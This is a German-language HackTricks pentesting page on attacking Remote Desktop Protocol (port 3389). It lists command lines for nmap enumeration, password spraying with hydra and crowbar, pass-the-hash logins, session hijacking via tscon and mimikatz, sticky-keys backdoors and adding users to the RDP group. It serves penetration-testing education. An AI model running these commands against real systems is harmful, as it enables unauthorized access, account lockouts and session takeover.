hacktricks/network-services-pentesting/pentesting-rdp.md

173 lines
10 KiB
Markdown

# 3389 - Pentesting RDP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Sofort verfügbarer Aufbau für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Grundinformationen
Entwickelt von Microsoft, ist das **Remote Desktop Protocol** (**RDP**) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer Software für den **RDP**-Client verwendet, während der entfernte Computer gleichzeitig Software für den **RDP**-Server betreiben muss. Diese Einrichtung ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktop-Umgebung eines entfernten Computers, wodurch seine Schnittstelle im Wesentlichen auf das lokale Gerät des Benutzers gebracht wird.
**Standardport:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Aufzählung
### Automatisch
{% code overflow="wrap" %}
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
{% endcode %}
Es überprüft die verfügbaren Verschlüsselungen und DoS-Schwachstellen (ohne DoS für den Dienst zu verursachen) und erhält NTLM Windows-Informationen (Versionen).
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rdp)
**Sei vorsichtig, du könntest Konten sperren**
### **Password Spraying**
**Sei vorsichtig, du könntest Konten sperren**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### Mit bekannten Anmeldeinformationen/Hash verbinden
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### Überprüfen Sie bekannte Anmeldeinformationen gegen RDP-Dienste
rdp\_check.py von impacket ermöglicht es Ihnen, zu überprüfen, ob einige Anmeldeinformationen für einen RDP-Dienst gültig sind:
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Angriffe**
### Sitzungsdiebstahl
Mit **SYSTEM-Berechtigungen** können Sie auf jede **geöffnete RDP-Sitzung eines beliebigen Benutzers** zugreifen, ohne das Passwort des Eigentümers zu kennen.
**Geöffnete Sitzungen abrufen:**
```
query user
```
**Zugriff auf die ausgewählte Sitzung**
```bash
tscon <ID> /dest:<SESSIONNAME>
```
Jetzt sind Sie in der ausgewählten RDP-Sitzung und Sie werden einen Benutzer nur mit Windows-Tools und -Funktionen impersonieren.
**Wichtig**: Wenn Sie auf aktive RDP-Sitzungen zugreifen, werden Sie den Benutzer, der sie verwendet hat, abmelden.
Sie könnten Passwörter durch das Dumpen des Prozesses erhalten, aber diese Methode ist viel schneller und ermöglicht es Ihnen, mit den virtuellen Desktops des Benutzers zu interagieren (Passwörter in Notepad, ohne auf der Festplatte gespeichert zu werden, andere RDP-Sitzungen, die auf anderen Maschinen geöffnet sind...)
#### **Mimikatz**
Sie könnten auch Mimikatz verwenden, um dies zu tun:
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
Durch die Kombination dieser Technik mit **stickykeys** oder **utilman** kannst du jederzeit auf eine administrative CMD und jede RDP-Sitzung zugreifen.
Du kannst RDPs suchen, die bereits mit einer dieser Techniken backdoored wurden: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Prozessinjektion
Wenn sich jemand aus einer anderen Domäne oder mit **besseren Berechtigungen über RDP** an dem PC anmeldet, an dem **du Admin bist**, kannst du dein Beacon in seinen **RDP-Sitzungsprozess** injizieren und als er handeln:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
{% endcontent-ref %}
### Benutzer zur RDP-Gruppe hinzufügen
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## Automatische Werkzeuge
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** ist ein Post-Exploitation-Framework, das in Powershell erstellt wurde und hauptsächlich dazu dient, den **Shadow**-Angriff auf Microsoft Windows-Computer zu automatisieren. Diese Schwachstelle (von Microsoft als Funktion aufgeführt) ermöglicht es einem entfernten Angreifer, **den Desktop seines Opfers ohne dessen Zustimmung zu sehen** und ihn sogar auf Anfrage zu steuern, indem er Werkzeuge verwendet, die nativ im Betriebssystem vorhanden sind.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Steuere Maus und Tastatur automatisiert über die Befehlszeile
* Steuere die Zwischenablage automatisiert über die Befehlszeile
* Erzeuge einen SOCKS-Proxy vom Client, der die Netzwerkkommunikation über RDP zum Ziel leitet
* Führe beliebige SHELL- und PowerShell-Befehle auf dem Ziel aus, ohne Dateien hochzuladen
* Lade Dateien zum/vom Ziel hoch und herunter, selbst wenn Dateiübertragungen auf dem Ziel deaktiviert sind
## HackTricks Automatische Befehle
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Unterstützen Sie HackTricks</summary>
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}